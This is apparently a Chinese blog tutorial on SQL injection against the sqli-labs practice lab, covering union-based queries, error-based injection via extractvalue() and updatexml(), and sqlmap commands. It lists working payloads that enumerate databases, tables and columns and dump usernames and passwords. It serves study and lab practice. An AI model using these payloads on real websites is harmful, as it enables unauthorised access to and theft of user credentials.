文章目录

  • SQL注入的方法
    • 方法一:联合查询
    • 方法二:报错注入
      • extractvalue() 函数
      • updatexml()函数
    • 方法三:Sqlmap

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

SQL注入的方法

方法一:联合查询

?id=1' order by 3 --+   //查询列数?id=-1' union select 1,2,3 --+   //查看输出列?id=-1' union select 1,(select user()),3 --+   //查询用户名?id=-1' union select 1,(select database()),3 --+   //查询数据库名?id=-1' union select 1,(select table_name from information_schema.tables where table_schema="数据库名" limit 0,1),3--+     //单独爆出表名?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="数据库名"),3--+    //爆出全部表名?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name="表名" and table_schema="数据库名"),3--+    //查询列名,需要限定表名和库名?id=-1' union select 1,(select concat(username,0x3a,password)from 表名 limit 0,1),3 --+   //查询username和password   (limit函数)?id=-1' union select 1,(select group_concat(username,0x3a,password)from 表名),3 --+          //一次性全部查询   (group_concat函数)

超过多行时,可以连接(省略limit函数):group_concat()

concat()函数

  1. 含义:

    将多个字符串连接成一个字符串。

  2. 语法:

    concat(str1, str2,…) 返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。

  3. 演示:

    select concat (id, name) as info from t1;

    mysql> select * from t1;
    ±------±------+
    | id | name |
    ±------±------+
    | 10001 | 沙 |
    | 10001 | 石 |
    | 10001 | 煤 |
    | 10002 | 水 |
    | 10002 | 盐 |
    | 10002 | 盐 |
    | 10002 | 盐2 |
    ±------±------+

方法二:报错注入

extractvalue() 函数

extractvalue() 函数

对XML文档进行查询的函数

其实就是相当于我们熟悉的HTML文件中用 < div>< p>< a>标签查找元素一样

语法:extractvalue(目标xml文档,xml路径)

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用
/xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

https://blog.csdn.net/zpy1998zpy/article/details/80631036 菜鸟教程

?id=1' and extractvalue(1,concat(0x7e,(select user()),0x7e)) --+    //爆出用户名?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+    //爆出数据库名?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="数据库名"),0x7e)) --+   //一次性爆出所有表名?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="数据库名" and table_name="表名"),0x7e)) --+    //爆出所有列名?id=1' and extractvalue(1,concat(0x7e,(select concat(id,0x3a,username,0x3a,password)from 表名 limit 7,1),0x7e)) --+         //爆出id、username和password

updatexml()函数

updatexml()函数与extractvalue()类似,是更新xml文档的函数。
语法:updatexml(目标xml文档,xml路径,更新的内容)
select username from security.user where id=1 and (updatexml(‘anything’,’/xx/xx’,’anything’))

?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+  // 爆出用户名?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema="数据库名"),0x7e),1) --+   //爆出所有表名?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema="数据库名" and table_name="表名"),0x7e),1) --+   //爆出users表中所有列名?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from 表名 limit 0,1),0x7e),1) --+   //爆出数据

方法三:Sqlmap

sqlmap -u "http://10.4.29.170/sqli-labs-master/Less-2/index.php?id=1" --dbs   //查询数据库名sqlmap -u "http://10.4.29.170/sqli-labs-master/Less-2/index.php?id=1" -D security --tables     //查询表名sqlmap -u "http://10.4.29.170/sqli-labs-master/Less-2/index.php?id=1" -T users --column  //查询列名sqlmap -u "http://10.4.29.170/sqli-labs-master/Less-2/index.php?id=1" -T users -C "username,password" --dump    //查询数据

SQL注入之联合查询、报错注入和sqlmap相关推荐

  1. SQL注入 1-3_基于post报错注入

    ** SQL注入 1-3_基于post报错注入 ** 一.概念 客户端提交参数基于post 1.基于post注入不会拼接到url 2.相对get提交参数更加安全 3.但是依然可以使用代理(中间人)截断 ...

  2. 01_SQL注入_Mysql注入利用联合查询的手工注入

    01_SQL注入_Mysql注入:利用联合查询的手工注入 1.SQL注入的成因 [严正声明]仅供学习,勿做他用!!! [严正声明]仅供学习,勿做他用!!! [严正声明]仅供学习,勿做他用!!! 遵纪守 ...

  3. SOL注入——基干联合查询的POST注入(四)

    本章目的 普及POST注入的原理和特点,掌握利用联合查询(unionselect)的方法实现SQL注入的基本流程. 实验环境 攻击机:Pentest-Atk (1)操作系统:Windows10 (2) ...

  4. 05_SQL注入_功能语句报错注入盲注

    05_SQL注入_功能语句&报错回显&盲注 1. SQL 语句和网站功能 1.1 Web开发中常见语句 [本章代码来源于pikachu和sqli-lab中的靶场] 开发中,根据不同的需 ...

  5. SQL注入——基于联合查询的POST注入

    实验目的: 理解数字型GET注入的原理和特点,掌握利用联合查询(union select)的方法实现SQL注入的基本流程 实验原理 POST注入,其注入点存在于POST表单中的参数处.攻击者可以通过代 ...

  6. SQL注入--基于联合查询的POST注入

    实验目的: 理解数字型GET注入的原理和特点,掌握利用联合查询(union select)的方法实现SQL注入的基本流程 实验原理 POST注入,其注入点存在于POST表单中的参数处.攻击者可以通过代 ...

  7. SQLi LABS Less 27 联合注入+报错注入+布尔盲注+时间盲注

    第27关是单引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 其他 SQLi LABS 靶场 ...

  8. SQLi LABS Less 23 联合注入+报错注入+布尔盲注

    第23关是单引号字符型注入: 过滤了注释,使用闭合引号来绕过: 这篇文章提供联合注入.报错注入.布尔盲注三种解题方式. 一.功能分析 这一关是一个简单的查询功能,在地址栏输入id,后台根据id查询数据 ...

  9. SQL注入-报错注入

    目录 一.报错注入的定义 二.利用报错注入的前提 三.报错注入的优缺点 四.构造报错注入的基本步骤 五.常见的报错注入函数 六.报错注入演示(只演示前三个) 1.利用floor()函数进行报错注入 ( ...

  10. SQLi LABS Less-11 联合注入+报错注入

    第十一关是单引号字符型注入,推荐使用联合注入.报错注入 方式一:联合注入 参考文章:联合注入使用详解 原理+步骤+实战教程 第一步.判断注入类型 用户名输入: a' or 1 -- a 密码随便输入: ...

最新文章

  1. sudo apt-get install 安装软件总是出现“404 NOT FOUND” 错误的解决方案 !
  2. 能识别nvme的pe启动_【腾讯WeTest干货分享】机器学习在启动耗时测试中的应用及模型调优...
  3. 让HTML播放器使用指定ua,chimee-mobile-player
  4. 机器学习流程及详细内容(4)
  5. 【论文解读--Xdog】(宇树科技鼻祖)新型电驱式四足机器人研制与测试
  6. 哔哩哔哩 2019秋招编程题---脸滚键盘
  7. siteserver/sscms 首页新闻排版及代码(二)
  8. 【学习笔记】网络安全基础知识总结
  9. 使用LaTeX表示数学方程(附源码)
  10. python批量读取图片处理并保存
  11. JVM的年轻代、年老代(老年代)和永生代(持久代)【Loadrunner性能调优】
  12. 【Spring Cloud Alibaba】Gateway 服务网关
  13. 数据结构与计算机网络,如何把计算机原理,操作系统,数据结构和计算机网络结合起来...
  14. 02-关于画布、Artboard(画板)
  15. 017 连续之一点连续、区间连续;间断之可去间断点、跳跃间断点
  16. Oracle insert语句慢的背后
  17. android自定义主题背景颜色,Android 自定义SeekBar 实现分段显示不同背景颜色的示例代码...
  18. 全图灵第一章:首个Demo项目【游戏类型讨论】
  19. 编程基础差,还想当程序员?结果......很“受伤”
  20. 5G到底是个啥玩意儿?

热门文章

  1. Java的instanceof关键字
  2. 计算机应用类专业综合,计算机应用类专业综合复习试题(二)(33页)-原创力文档...
  3. (附源码)计算机毕业设计JavaJava毕设项目桌游店会员管理系统
  4. 以网页形式展示二叉树
  5. Windows下Git安装配置教程
  6. 深度学习中欠拟合解决方案
  7. 在Visual Studio 2008的MFC项目中,如何设置HotKey
  8. R语言使用load函数将过往保存的工作空间镜像文件(RData)加载到当前会话、使用q函数关闭当前工作空间(系统会提示是否保存或者取消)
  9. 计算机房专用空调,通讯机房专用空调及制冷量计算.pdf
  10. cv.waitKey